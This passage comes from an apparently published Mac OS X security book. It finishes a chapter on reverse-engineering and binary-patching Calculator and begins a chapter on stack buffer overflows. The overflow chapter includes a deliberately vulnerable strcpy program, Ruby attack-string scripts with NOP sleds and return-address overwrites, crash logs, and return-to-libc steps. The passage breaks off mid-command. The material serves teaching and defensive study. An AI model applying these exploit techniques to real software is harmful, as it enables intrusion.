Since this is a call to objc_msgSend, you expect the class in which this method 
resides to be the fi rst argument, the name of the method to be the second, and 
any arguments to the method to be the third. Take a look at the fi rst value.

(gdb) x/4x 0x00175390

0x175390:     0xa08dc440     0x00002100     0x000004d2     0x00000000

This looks like a data structure, and the third element is 0x4d2 = 1234, your 
number. This confi rms what you expected. The second argument also conforms 
to your expectations.

(gdb) x/s 0x90e6ac80

0x90e6ac80 <__FUNCTION__.12366+366784>:      “decimalNumberByAdding:”

The third argument looks just like the fi rst one, except it has a different value 
(0x2694 = 9876).

(gdb) x/4x 0x0016e480

0x16e480:     0xa08dc440     0x00002100     0x00002694     0x00000000

Finally, notice that you can identify the type of class by the fi rst member of 
the structure.

(gdb) x/4x 0xa08dc440

0xa08dc440 <.objc_class_name_NSDecimalNumber>:     0xa08e3200     

0xa08e1140     0x96be759a     0x00000000
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Not too surprisingly, these classes are of type NSDecimalNumber. 
Furthermore, the second and third values in that class are as follows:

 (gdb) x/4x 0xa08e1140

0xa08e1140 <.objc_class_name_NSNumber>:     0xa08e7f00     0xa08e1100     

0x96bde1f4     0x00000000

(gdb) x/4s 0x96be759a

0x96be759a <__FUNCTION__.35134+3898>:      “NSDecimalNumber”

It would seem that the second element of this class contains a reference to the 
superclass, in this case NSNumber. The third element is a pointer to a string 
that describes the class. You can continue in this fashion until you get to the 
highest level of class.

(gdb) x/4x 0xa08e1100

0xa08e1100 <.objc_class_name_NSValue>:     0xa08e7ec0     0xa07f7cc0     

0x96bf928c     0x00000000

(gdb) x/4x 0xa07f7cc0

0xa07f7cc0 <.objc_class_name_NSObject>:     0xa07f88c0     0x00000000     

0x96240564     0x00000000

By exploring with GDB, you discover that the hierarchy for this class is as 
illustrated in Figure 6-18.

NSObject NSValue NSNumber NSDecimalNumber

 Figure 6-18:  Class hierarchy of the object found in memory

You were able to derive some class relationships by looking at the data. Before 
moving on, you should verify that you really understand things. In the debug-
ger, change the value of the second number being added from 9,876 to 1 and 
verify what the Calculator program displays.

(gdb) set *0x16e488=1
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The result of 1,235 (which is 1,234 + 1) displayed indicates you do understand 
how this function works; see Figure 6-19.

 Figure 6-19:  By using a debugger, you were 
able to change the way the + button operates.

Patching Binaries
Before you fi nish messing around with the Calculator application, we will dem-
onstrate how binaries (libraries, actually) can be changed to permanently affect 
the behavior of the application. This could be useful, for example, in disabling 
the anti-debugging features of iTunes.

In this case you’ll permanently change the + button to function like a - button. 
By now you completely understand the way the function functionAddDecimal() 
works, so to make it subtract instead of add, you simply need to replace a call 
to decimalNumberByAdding: with a call to decimalNumberBySubtracting:. 
Since these are Obj-C methods and the call to objC_msgSend takes a pointer to 
a string that describes the name of the function as the second argument, all you 
need to do is replace this pointer with a pointer to a different string. You don’t 
have to fi gure out function offsets or anything complicated; simply replace the 
pointer to decimalNumberByAdding with a pointer to decimalNumberBySub-
tracting. The relevant instruction where this needs to occur is

mov eax, [ebx+83a5h]

where EBX is a data anchor from EIP-relative addressing. Looking in IDA Pro 
at this reference’s region of memory, you see a series of pointers to different 
ASCII strings; see Figure 6-20. The pointer for subtracting follows directly after 
the pointer for adding; how convenient.

Simply adding 4 to the offset in functionAddDecimal(), which loads the 
string, will change the behavior of the function to have the desired property. 
In IDA Pro, you can see the corresponding bytes to the instruction in question 

95363c06.indd   15495363c06.indd   154 1/25/09   4:41:27 PM1/25/09   4:41:27 PM



 Chapter 6 ■ Reverse Engineering 155

by choosing Options  ➯ General and selecting the number of opcode bytes to 
be something like 10; see Figure 6-21.

 Figure 6-20:  A list of different types of Obj-C messages. decimalNumberByAdding: 
appears near the bottom of the list, followed by decimalNumberBySubtracting.

 Figure 6-21:  IDA Pro will reveal which bytes correspond to each instruction.

Loading the shared library in a hex editor, such as 0xED, and searching for 
the corresponding bytes to the instruction, 8b 83 a5 83 00 00, reveals one unique 
occurrence in the fi le. You simply need to change a5 to a9; see Figure 6-22.

NOTE    This change can actually be done all within IDA Pro, but it is a little 
more complicated.
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 Figure 6-22:  Changing the calculator to subtract 
instead of add is a one-byte change.

Save the modifi ed Calculate library on top of the old Calculate library and 
try to run it. Either make a backup of the old version or use DYLD_INSERT_
LIBRARIES to avoid using the existing library. Run it to see that, functionally 
speaking, there are now two - buttons and no + button! It is interesting that this 
drastic change occurred by exchanging only two bits in the library.

Conclusion

You have now seen how to tear apart a Mac OS X binary and fi gure out how 
it works. By using a combination of dynamic and static techniques you have 
learned how to trace and look at static disassembly to see how binaries function. 
We have demonstrated some methods that improve the way IDA Pro works on 
Mach-O fi les, including fi nding missed functions, fi xing up switch statements, 
relabeling Obj-C sections of the binaries, and adding cross-references for calls 
to objc_msgSend. Finally, we walked you through a simple example to demon-
strate everything discussed.

95363c06.indd   15695363c06.indd   156 1/25/09   4:41:27 PM1/25/09   4:41:27 PM



 Chapter 6 ■ Reverse Engineering 157

References

http://dvlabs.tippingpoint.com/pub/chotchkies/

SeattleToorcon2008_RECookbook.pdf

https://sourceforge.net/projects/ida-x86emu

http://www.suavetech.com/0xed/0xed.html

http://www.nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/

http://developer.apple.com/documentation/Cocoa/Conceptual/

ObjectiveC/Introduction/chapter_1_section_1.html

http://www.recon.cx/2008/a/tiller_beauchamp/RETrace-Applied_

Reverse_Engineering_on_OS_X.pdf

http://objc.toodarkpark.net/moreobjc.html

95363c06.indd   15795363c06.indd   157 1/25/09   4:41:27 PM1/25/09   4:41:27 PM



95363c06.indd   15895363c06.indd   158 1/25/09   4:41:27 PM1/25/09   4:41:27 PM



P a r t 

III
Exploitation

95363c07.indd   15995363c07.indd   159 1/25/09   4:41:46 PM1/25/09   4:41:46 PM



95363c07.indd   16095363c07.indd   160 1/25/09   4:41:46 PM1/25/09   4:41:46 PM



161

The stack buffer overfl ow is the “classic” buffer-overfl ow vulnerability. This 
vulnerability class has been known publicly since at least November 1988, when 
the Robert Morris Internet worm exploited a stack buffer overfl ow in the BSD 
fi nger daemon on VAX machines. 

A connection was established to the remote fi nger service daemon and then a 
specially constructed string of 536 bytes was passed to the daemon, overfl owing 
its input buffer and overwriting parts of the stack.

—Eugene H. Spafford, “The Internet Worm Program: An Analysis”

Stack buffer overfl ow attacks and defenses have evolved signifi cantly since 
then, but the core principles have remained the same: overwrite the function 
return address, and redirect execution into dynamically injected code, com-
monly referred to as the shellcode or the exploit payload.

In Leopard, Apple has implemented several defenses against the exploitation 
of stack buffer overfl ows, including randomizing portions of the process memory 
address space, making thread stack segments non-executable on the x86 architec-
ture, and leveraging the GNU C compiler’s stack protector in some executables.

This chapter starts with background on how the stack works in Mac OS X, what 
happens when the stack is “smashed,” and how to exploit a simple stack buffer 
overfl ow vulnerability. Subsequent sections will detail the stack buffer overfl ow 
exploit protections in Leopard and how to overcome them in real-world exploits.

C H A P T E R 

7

Exploiting Stack Overfl ows
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We will start demonstrating these vulnerabilities with simple attack strings 
to trigger the vulnerabilities. The attack string is the crafted input in an exploit 
that triggers or exploits a vulnerability. It does not typically include various 
protocol or syntax elements that may be needed to reach the vulnerability, but 
it will typically include the injection vector (the elements or aspects of the attack 
string that are used to obtain control of the target), and the payload (the position-
independent machine code that is injected and executed by the target). A com-
plete exploit will include the necessary functionality to trigger the vulnerability, 
the injection vector to take full control, the payload to be executed by the target, 
and local payload handlers to implement attacker-side functionality. In most of 
this chapter and the next we will demonstrate various injection vectors using 
simplifi ed payloads that avoid adding unnecessary complications at this early 
stage. In later chapters we will discuss how to build full shell code and other 
more-complicated exploit payloads, as well as topics like payload encoders and 
application-specifi c attacks.

Stack Basics

To understand how a stack buffer overfl ow works, it is important fi rst to under-
stand what the stack is and how it is used under normal circumstances. The 
stack is a special region of memory that is used to support calling subroutines 
(typically called functions in source-code form). The stack is used to keep track 
of subroutine parameters, local variables, and where to resume execution after 
the subroutine has completed. On most computer architectures, including all 
of the architectures supported by Mac OS X, the stack automatically grows 
downward toward lower memory addresses.

Stack memory is divided into successive frames where each time a subroutine 
is called, even if it is recursive and calls itself, it allocates itself a fresh stack 
frame. The current bottom of the stack is pointed to by a special register used 
as the stack pointer and the top of the current stack frame is usually pointed to 
by another special register used as the frame pointer. Values are typically read or 
written to the stack and then the stack pointer is adjusted accordingly to point 
to the new bottom of the stack. This is referred to as pushing when new values 
are written to the stack, and popping when values are read from the stack.

Exactly how the stack is used depends on the calling conventions specifi c 
to the architecture for which the program binary was compiled. The calling 
conventions defi ne how subroutines are called and what actions are taken in 
the subroutine’s prolog and epilog, the code inserted by the compiler before and 
after the function body, respectively. The stack may be used to store subroutine 
parameters, linkage, saved registers, and local variables, but some architectures 
may use registers for some of these purposes. The stack is used most extensively 
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on x86, where there are relatively few general-purpose registers; on PowerPC 
where there are more general-purpose registers available, registers are used 
for subroutine parameters and linkage. In this chapter we will focus on the 
exploitation of stack-buffer overfl ows on the 32-bit PowerPC and x86 architec-
tures. While Leopard also supports 64-bit PowerPC and x86-64 binaries, very 
few security-sensitive applications are compiled for the 64-bit architectures. 
Therefore we will only focus on the 32-bit architectures in this book.

Stack Usage on PowerPC
The PowerPC calling convention places subroutine parameters in registers 
where possible for higher performance. Register-sized parameters are placed 
in registers r3 through r10, but space is still reserved on the stack for them in 
case the called function needs to use those registers for another purpose. Any 
arguments larger than the register size are pushed onto the stack.

One notable difference between the PowerPC architectures and the x86 archi-
tectures is that the PowerPC uses a dedicated link register (lr) instead of the 
stack to store the return address when a subroutine is called. To support sub-
routines calling other subroutines, the value of that register must be saved to 
the stack. In effect, this means stack-buffer overfl ows are still exploitable; they 
only obtain control a little later, after the restored (and overwritten) link register 
is actually used.

The subroutine prolog, shown below, allocates itself a stack frame by decre-
menting the stack pointer, saving the old values of the stack pointer and link 
register to the stack, and fi nally saving the values of any nonvolatile registers 
that get clobbered by the subroutine.

00001f64     mfspr    r0,lr          ; Obtain value of link register

00001f68     stmw     r30,0xfff8(r1) ; Save r30 - r31 to stack

00001f6c     stw      r0,0x8(r1)     ; Save link register to stack

00001f70     stwu     r1,0xfbb0(r1)  ; Save old stack pointer to stack

00001f74     or       r30,r1,r1      ; Copy stack pointer to frame 

                                     ;   pointer 

The subroutine epilog, shown below, reverses this process by restoring 
nonvolatile registers, restoring the link register and stack pointer, and fi nally 
branching to the link register to return from the subroutine.

00001f88     lwz      r1,0x0(r1)     ; Load old stack pointer from stack

00001f8c     lwz      r0,0x8(r1)     ; Load link register from stack

00001f90     mtspr    lr,r0          ; Restore link register

00001f94     lmw      r30,0xfff8(r1) ; Restore r30 - r31

00001f98     blr                     ; Return from subroutine
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The PowerPC stack usage conventions also defi ne the area below the stack 
pointer as the red zone, a scratch storage area that the subroutine may use tem-
porarily knowing that it will be overwritten when it calls another subroutine.  
Figure 7-1 shows the layout of a PowerPC stack frame, including the red zone 
scratch space.

SP

Previous
frame

Red zone

Saved 
registers

Local
variables

Parameter 
save space
(r3–r10)

Subroutine
linkage

(sp, cr, lr)

 Figure 7-1:  PowerPC stack frame

Stack Usage on x86
Since there are few general-purpose registers on x86, the stack is used quite 
extensively. We will cover the basic concepts here, but for a comprehensive treat-
ment of how the stack is used on x86, consult The Art of Assembly Language (No 
Starch, 2003). There are several calling conventions possible on the x86 architec-
ture, but Mac OS X uses a single calling convention on x86, which is what we will 
describe here. When a subroutine is called, the caller pushes the parameters on 
the stack and executes the call instruction, which pushes the address of the next 
instruction onto the stack and transfers control to the subroutine. The function 
prolog pushes the caller’s frame pointer onto the stack, moves the stack pointer 
value to use as its own frame pointer, pushes clobbered registers to the stack, 
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and fi nally allocates space for its own local variables by subtracting their total 
size from the stack pointer. A simple function prolog is shown below.

1fc6:     push   ebp
1fc7:     mov    ebp,esp
1fc9:     sub    esp,0x418

The called subroutine must save the values of the following registers and 
restore them before returning if it changes (clobbers) their values: EBX, EBP, 
ESI, EDI, and ESP. The function epilog reverses this process by issuing the leave 
instruction to restore the ESP register from EBP and issuing the ret instruction 
to jump to the return address stored on the stack.

1fe4:     leave  

1fe5:     ret

Figure 7-2 shows the layout of an x86 stack frame.

ESP

Previous
frame

Parameters

Return
address

Saved 
frame
pointer

Saved 
registers

Local
variables

EBP

 Figure 7-2:  x86 stack frame

Smashing the Stack on PowerPC

You now know how a correctly running program uses the stack. What is more 
interesting, however, is what happens when things go wrong, and especially 
what happens when an attacker intentionally makes things go wrong. For the 
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fi rst example, we will demonstrate how to exploit a simple, local stack buffer 
overfl ow on PowerPC, intentionally ignoring Leopard’s Library Randomization 
for the moment. Leopard’s Library Randomization changes the load addresses 
of system frameworks and libraries when system libraries or default applica-
tions are changed. Since this only happens periodically, it does not affect the 
exploitation of local vulnerabilities. 

Our fi rst example will examine a trivially simple program with a stack buffer 
overfl ow vulnerability.

/*
 * smashmystack - A program with the simplest stack
 *     buffer overflow possible
 */
#include <stdio.h>
#include <string.h>

void smashmystack(char* str)
{
    char buf[1024];

    /*
     * Copy str into a fixed size stack buffer without 
     * checking the length of source string str, causing 
     * a stack buffer overflow.
     */
    strcpy(buf, str);
}

int main(int argc, char* argv[])
{
    smashmystack(argv[1]);
    return 0;
}

We will show you how to develop an exploit for this vulnerability incremen-
tally by creating the attack string with one-line Ruby (an open-source, object-
oriented scripting language installed by default on Mac OS X and available at 
http://www.ruby-lang.org) scripts and examining the results in ReportCrash 
logs and GDB. On Leopard, ReportCrash replaces the CrashReporter daemon 
present in older releases of Mac OS X but it still stores its logs in ~/Library/
Logs/CrashReporter and /Library/Logs/CrashReporter for legacy compat-
ibility. Where possible, we will try to use only the ReportCrash output since 
running a process in the debugger may change several aspects of its execution. 
For example, the values of the stack pointer will be different because GDB and 
the dynamic linker (dyld) communicate through some special environment 
variables that are not present when the program is not running under GDB, 
adding more space to the environment variables stored on the stack. 
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If you run this program with an overly long fi rst argument consisting of all 
ASCII ‘A’ characters, it will crash after it tries to return from the smashmystack() 
function.  You can do this with a simple Ruby one-liner that prints a string of 
2000 ASCII ‘A’ characters, as shown below.

% ./smashmystack.ppc `ruby -e ‘puts “A” * 2000’`

Segmentation fault

Examining the ReportCrash log reveals the following:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x0000000041414140

Crashed Thread:  0

Thread 0 Crashed:

0   ???                                 0x41414140 0 + 1094795584

Thread 0 crashed with PPC Thread State 32:

  srr0: 0x41414140  srr1: 0x4000f030   dar: 0x00003138 dsisr: 0x40000000

    r0: 0x41414141    r1: 0xbfffe9b0    r2: 0x00000001    r3: 0xbfffe598

    r4: 0xbffff2b4    r5: 0xbfffea54    r6: 0xfefefeff    r7: 0x80808080

    r8: 0x00000000    r9: 0xbfffed69   r10: 0x40403fff   r11: 0x8fe33c48

   r12: 0x80808080   r13: 0x00000000   r14: 0x00000000   r15: 0x00000000

   r16: 0x00000000   r17: 0x00000000   r18: 0x00000000   r19: 0x00000000

   r20: 0x00000000   r21: 0x00000000   r22: 0x00000000   r23: 0x00000000

   r24: 0x00000000   r25: 0x00000000   r26: 0xbfffea44   r27: 0x0000000c

   r28: 0x00000000   r29: 0x00000000   r30: 0x41414141   r31: 0x41414141

    cr: 0x22000022   xer: 0x20000000    lr: 0x41414141   ctr: 0x00000000

vrsave: 0x00000000

You can easily spot which registers you control; look for registers with 
the hexadecimal value 0x41414141, the hexadecimal value of the ASCII string 
“AAAA.” The attack string has clearly corrupted the r0, r30, r31, and lr registers. 
The most important register to control is the link register lr, since it contains the 
address where execution will resume when the subroutine returns using the blr 
instruction. Since you can control the lr register, you can control the execution 
of the target program.

In order to place chosen values in controlled registers, you will fi rst need to 
identify the locations in the attack string that correspond to the overwritten values 
of each controlled register. This can be done using a specially patterned string 
that will let you quickly calculate the position in the pattern string based on the 
register’s value. The pattern consists of every ASCII character from ‘A’ to ‘z’, each 
repeated four times. To fi nd the offset in the pattern string from which the regis-
ter’s value is taken, subtract 0x41 (the hexadecimal ASCII value for ‘A’) from the 
repeated hexadecimal byte value in the register, convert to decimal, and multiply 
by 4. For example, if a register’s value is 0x58585858, then it is (0x58 – 0x41) ×  4 = 
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0x17 ×  4 = 23 × 4 = 92 bytes from the beginning of the pattern string. The pattern 
string is generated by the following Ruby code.

pattern = ((‘A’..’Z’).to_a + [‘[‘, ‘\\’, ‘]’, ‘^’, ‘_’, ‘`’] +   

    (‘a’..’z’).to_a).inject(“”) {|s, c| s += c.to_s * 4}

In the following examples, you can assume that this variable is already 
defi ned (for brevity). Metasploit uses a similar pattern string, but the string 
used here is better for determining proper alignment and is somewhat easier 
to spot in register-value dumps, at the expense of some fl exibility.

Now we will demonstrate how you can use the pattern string to identify the 
offsets into your attack string where the controlled registers get their values. 
You know that the stack buffer is 1,024 bytes long, so now you should run 
smashmystack.ppc with an argument generated by

arg0 = “Z” * 1024 + pattern

This will result in the following crash dump to appear in the ReportCrash 
log:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x0000000049494948

Crashed Thread:  0

Thread 0 Crashed:

0   ???                                 0x49494948 0 + 1229539656

Thread 0 crashed with PPC Thread State 32:

  srr0: 0x49494948  srr1: 0x4000f030   dar: 0x00003138 dsisr: 0x40000000

    r0: 0x49494949    r1: 0xbfffef50    r2: 0x00000001    r3: 0xbfffeb38

    r4: 0xbffff584    r5: 0xbffff00c    r6: 0xfefefeff    r7: 0x80808080

    r8: 0x00000000    r9: 0xbffff021   r10: 0x797978ff   r11: 0x8fe33c48

   r12: 0x80808080   r13: 0x00000000   r14: 0x00000000   r15: 0x00000000

   r16: 0x00000000   r17: 0x00000000   r18: 0x00000000   r19: 0x00000000

   r20: 0x00000000   r21: 0x00000000   r22: 0x00000000   r23: 0x00000000

   r24: 0x00000000   r25: 0x00000000   r26: 0xbfffeffc   r27: 0x0000000c

   r28: 0x00000000   r29: 0x00000000   r30: 0x45454545   r31: 0x46464646

    cr: 0x22000022   xer: 0x20000000    lr: 0x49494949   ctr: 0x00000000

vrsave: 0x00000000

The offsets in the pattern string for the controlled registers are as follows:

 r30 = 16 bytes ■

 r31 = 20 bytes ■

 r0, lr = 32 bytes ■
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This means our attack string will have the following format:

[ 1040 bytes space ] [ r30 ] [ r31 ] [ 8 bytes space ] [ lr ]

Recall from the PowerPC subroutine epilog earlier in this chapter that the 
value for the link register is loaded from 8 bytes past the stack pointer. In this 
example, we will hard-code the stack memory address of our payload in our 
attack string at the offset for the overwritten link register (lr). The chosen value 
for the link register must be 12 bytes greater than the value of the stack pointer, 
so that the target program will return to and execute the bytes from the attack 
string immediately following the value for lr. This is the location in the attack 
string where you should place your shellcode or other payload.

For an initial payload, you can simply use a single breakpoint trap instruc-
tion. This will allow you to verify that you are executing your exploit payload 
without having to worry about the payload failing for any other reason. You can 
also use a variation of this to fi gure out how much space you have available for 
your payload in the attack string. If you test the exploit with a payload of many 
no-operation (or NOP) instructions with a single breakpoint trap instruction at 
the end and the exploit causes the program to crash with a breakpoint excep-
tion, you know the entire payload was executed.  A sequence of repeated NOP 
instructions is usually referred to as a NOP slide or NOP sled.

At this point, the attack string is complex enough that it makes sense to put 
it together in a complete script rather then regenerating it on the command-line 
each time.  The following Ruby script shows how to programmatically generate 
the attack string for this simple exploit.

#!/usr/bin/env ruby

NOP = [0x30800114].pack(‘N’)

TRAP = [0x7c852808].pack(‘N’)

r30 = “AAAA”

r31 = “BBBB”

lr = [0xdeadbeef].pack(‘N’)

payload = NOP * 256 + TRAP

puts “Z” * 1040 + r30 + r31 + “Z” * 8 + lr + payload

The fi rst time that you run this exploit, you should use a special invalid value 
for the link register (the script above uses 0xdeadbeef).  This will allow you to 
run the exploit once, record the value of the stack pointer from the ReportCrash 
thread state listing, and use that to calculate the correct value for the link regis-
ter. Recall that the payload in your attack string will start 12 bytes after the value 
of the stack pointer when the target program branches to the link register.

% ./smashmystack.ppc `./exp.rb`

Segmentation fault
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The ReportCrash log looks like the following:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x00000000deadbeec

Crashed Thread:  0

Thread 0 Crashed:

0   ???                                 0xdeadbeec 0 + 3735928556

Thread 0 crashed with PPC Thread State 32:

  srr0: 0xdeadbeec  srr1: 0x4000f030   dar: 0x00003138 dsisr: 0x40000000

    r0: 0xdeadbeef    r1: 0xbfffe8d0    r2: 0x00000001    r3: 0xbfffe4b8

    r4: 0xbffff238    r5: 0xbfffe978    r6: 0xfefefeff    r7: 0x80808080

    r8: 0x00000000    r9: 0xbfffece1   r10: 0x842706ff   r11: 0x8fe33c48

   r12: 0x00808080   r13: 0x00000000   r14: 0x00000000   r15: 0x00000000

   r16: 0x00000000   r17: 0x00000000   r18: 0x00000000   r19: 0x00000000

   r20: 0x00000000   r21: 0x00000000   r22: 0x00000000   r23: 0x00000000

   r24: 0x00000000   r25: 0x00000000   r26: 0xbfffe968   r27: 0x0000000c

   r28: 0x00000000   r29: 0x00000000   r30: 0x41414141   r31: 0x42424242

    cr: 0x22000022   xer: 0x20000000    lr: 0xdeadbeef   ctr: 0x00000000

vrsave: 0x00000000

Now, rerun the exploit with the link register value set to sp + 12 
(0xbfffe8dc):

% ./smashmystack.ppc `./exp.rb`

Trace/BPT trap

%

Success! You have executed the entire payload. This method of calculating 
the exact return address works well for local exploits, but is not automated 
and is obviously infeasible for remote exploits since we have to find and 
hard-code memory addresses. Later in this chapter, in the section “Finding 
Useful Instruction Sequences,” we will describe how to fi nd useful instruction 
sequences to return to in order to transfer control indirectly to your payload in 
the stack without having to hard-code or guess memory addresses.

Smashing the Stack on x86

In the previous section we demonstrated how to exploit stack buffer overfl ows 
on the PowerPC. We will now describe the more common architecture, Intel 
x86. We will show you how to build your exploits in the same manner as in 
the previous section by ignoring Library Randomization for now.  In the next 
few sections, we will describe techniques to overcome Library Randomization 
reliably, as well work around the non-executable stack segment.
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The fi rst example will exploit the same simple program with a trivial stack 
buffer overfl ow vulnerability, as in the previous section on PowerPC stack over-
fl ows. If you run this program with an overly long fi rst argument consisting 
of all ASCII ‘A’ characters, it will crash after it tries to return from the smash-
mystack() function. 

% ./smashmystack `ruby -e ‘puts “A” * 2000’`

Segmentation fault

The ReportCrash log should resemble the following:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_INVALID_ADDRESS at 0x0000000041414141

…

Unknown thread crashed with X86 Thread State (32-bit):

  eax: 0xbfffe4d0  ebx: 0xbfffe994  ecx: 0xbffff19b  edx: 0x00000000

  edi: 0x00000000  esi: 0x00000000  ebp: 0x41414141  esp: 0xbfffe8e0

   ss: 0x0000001f  efl: 0x00010246  eip: 0x41414141   cs: 0x00000017

   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037

  cr2: 0x41414141

One of the benefi ts of using the ASCII ‘A’ string is that it makes it easy to see 
which registers are overwritten and controllable through a memory-corruption 
vulnerability. In the above register dump, you can see that you can control the 
values of the EIP and EBP registers. The most important register to control is 
EIP, since it contains the address of the CPU instruction to execute next. As 
mentioned before, the values of several general-purpose registers (EBX, EBP, 
ESI, EDI) are also commonly saved to the stack. It is common to see the values 
of these registers also overwritten after a stack buffer overfl ow.

As in the PowerPC example, the next step is to fi nd the offsets within the 
attack string that correspond to the values restored into specifi c registers in 
the vulnerable program. There are several approaches to this: calculating exact 
offsets based on examining the vulnerable code, using a specially crafted string 
to help us identify the offset based on the value restored into the register as was 
done in the PowerPC exploit example, or using a simple binary search.

    1fc6:     push   ebp

    1fc7:     mov    ebp,esp

    1fc9:     sub    esp,0x418          ; Reserve 1024 + 16 + 8 bytes

    1fcf:     mov    eax,DWORD PTR [ebp+8]

    1fd2:     mov    DWORD PTR [esp+4],eax

    1fd6:     lea    eax,[ebp-0x408]

    1fdc:     mov    DWORD PTR [esp],eax

    1fdf:     call   3005 <dyld__mach_header+0xff5>

    1fe4:     leave  

    1fe5:     ret
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As you can see in the disassembly, the smashmystack() function reserves 1028 
bytes on the stack: 1024 for the stack buffer buf, 16 bytes reserved for saving 
registers if needed, and 8 bytes for the two arguments to the call to the strcpy() 
function. You can see that the stack buffer begins at 1032 bytes before EBP. 
Immediately above the frame pointer is the saved frame pointer and return 
address, in that order. If you supply an input string of 1040 bytes long, the 32-bit 
values beginning at byte offsets 1032 and 1036 will overwrite the saved frame 
pointer and saved return address, respectively.

We will now proceed to show how you can build the attack string by hand 
on the command line using Ruby one-line scripts and Leopard’s ReportCrash 
output logs. First, verify that you can control EIP by overwriting the return 
address on the stack with a chosen value of “BBBB” (0x42424242):

% ./smashmystack `ruby -e ‘puts “A” * 1036 + “BBBB”’`

In the ReportCrash log, you will see that you caused an EXC_BAD_ACCESS 
exception due to a KERN_INVALID_ADDRESS at 0x42424242:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000042424242
…
Unknown thread crashed with X86 Thread State (32-bit):

  eax: 0xbfffec50  ebx: 0xbffff114  ecx: 0xbffff55b  edx: 0x00000000

  edi: 0x00000000  esi: 0x00000000  ebp: 0x41414141  esp: 0xbffff060

   ss: 0x0000001f  efl: 0x00010246  eip: 0x42424242   cs: 0x00000017

   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037

  cr2: 0x42424242

You can now easily replace “BBBB” with any memory address that you 
choose and the vulnerable program will attempt to execute instructions from 
that address. Also be aware that since the x86 ret instruction pops the return 
address from the stack, the stack pointer (ESP) will point to the portion of the 
attack string that immediately follows the return address.  The address for this 
location in memory is listed as the value of ESP in the ReportCrash register 
dump above. You can use this information along with the values of the other 
registers in the thread state dump to fi gure out where these registers point 
relative to your attack string in memory. This comes in handy for a variety of 
exploitation techniques.

Now, check what happens when you put some simple executable code at the 
end of your attack string and use its address on the stack for the return address.  
In the attack string below, you should use the value of ESP from the ReportCrash 
dump (0xbffff060 in this case) for the return address.  For an executable code 
payload, you can use a sequence of 0xCC bytes, which is the encoding of the 
x86 breakpoint instruction.

% ./smashmystack `ruby -e ‘puts “A” * 1036 + \
    [0xbffff060].pack(“V”) + “\xCC\xCC\xCC\xCC”’`
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The ReportCrash log shows something different this time as opposed to the 
previous PowerPC example that executed the breakpoint instruction.

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)

Exception Codes: KERN_PROTECTION_FAILURE at 0x00000000bffff050

…

Unknown thread crashed with X86 Thread State (32-bit):

  eax: 0xbfffec40  ebx: 0xbffff10c  ecx: 0xbffff553  edx: 0x00000000

  edi: 0x00000000  esi: 0x00000000  ebp: 0x41414141  esp: 0xbffff050

   ss: 0x0000001f  efl: 0x00010246  eip: 0xbffff050   cs: 0x00000017

   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037

  cr2: 0xbffff050

Notice that ReportCrash reported a different exception code this time, KERN_
PROTECTION_FAILURE. This is because under x86 versions of Mac OS X, the 
stack memory is marked non-executable using the NX memory hardware pro-
tections of the Intel Core processors. Luckily that won’t prove to be too much 
trouble as you will see below.

Exploiting the x86 Non-executable Stack

Exploits against other operating systems with non-executable stacks have tra-
ditionally used a technique called return-to-libc, originally attributed to Solar 
Designer. return-to-libc exploits overwrite the return address with the address 
of a subroutine in an already loaded library, effectively calling the subroutine 
with parameters taken from the attack string. This technique works on most 
architectures where the stack grows downward, and especially well on architec-
tures like x86 where subroutine parameters are also passed on the stack. Using 
this technique allows the attacker, with some limitations, to call a sequence 
of chosen subroutines with chosen parameters. Most return-into-libc exploits 
typically mark the memory containing the exploit payload executable or copy 
the payload into executable memory.

We will demonstrate several variants of the return-into-libc technique, begin-
ning with a simple variant where the exploit returns into the system() function 
to execute an arbitrary command and ending with a way to execute arbitrary 
payloads on a non-executable stack without having to know the payload’s 
address in memory.

Return into system()
As described earlier, return-to-libc exploits can use the overwritten return 
address and stack to call library functions with arguments chosen by the 
attacker. One of the easiest ways to take advantage of this is to call the system() 
function to execute a chosen shell command.
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Leopard’s Library Randomization is performed only periodically; the address 
to which a library is loaded in one process will typically be the same address 
to which it is loaded in subsequent processes, even after a reboot. This allows 
you to identify the address of useful functions and instruction sequences in 
loaded libraries in one process and safely use those in another process, such 
as one where you are exploiting a buffer overfl ow. It should be noted, however, 
that this works only for local exploits as the randomized addresses will almost 
certainly be different across systems.

As described in Chapter 1, “Mac OS X Architecture,” the random base address 
of each library stored in the shared cache map is /var/db/dyld. You can also 
use nm command to dump the symbol table in the library and fi nd the offset 
from that base address where a given function will be found. For example, 
you will fi nd the address of the system() function in libSystem. First check the 
base address of libSystem in /var/db/dyld/dyld_shared_cache_i386.map. This 
fi le is a simple ASCII text fi le that lists the library name and base addresses 
where segments within that library are loaded. Here is the relevant section for 
libSystem.

/usr/lib/libSystem.B.dylib
                  __TEXT 0x92689000 -> 0x927E9000
                  __DATA 0xA0417000 -> 0xA0456000
                __IMPORT 0xA0A38000 -> 0xA0A3A000
              __LINKEDIT 0x9735F000 -> 0x9773D000

Look up the address of the system() function in libSystem’s symbol table with 
the nm utility that is installed with Xcode.

% nm /usr/lib/libSystem.B.dylib | grep “T _system”

0008e014 T _system

0009afe1 T _system$NOCANCEL$UNIX2003

0006be57 T _system$UNIX2003

If you add the offset from the system table to the TEXT segment base address, 
you will fi nd that system() is at 0x92717014. You can easily verify this with GDB 
by debugging a live process and printing the address of the system function.

Breakpoint 1, 0x00001fec in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x92717014 <system>

You can now use this address to begin to construct your attack string. As 
mentioned earlier, you also encode the arguments to the function that you 
return to in your attack string. The system() function takes a single string argu-
ment that is the shell command to execute. For that you need to fi nd out exactly 
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where your attack string is in memory. You can use the debugger to calculate 
that address by examining the stack just as you take control.

(gdb) run `ruby -e ‘puts “A” * 1036 + [0xcafebabe,0xfeedface,0xdeadbeef]

.pack(“VVV”) + “id”’`

Starting program: 

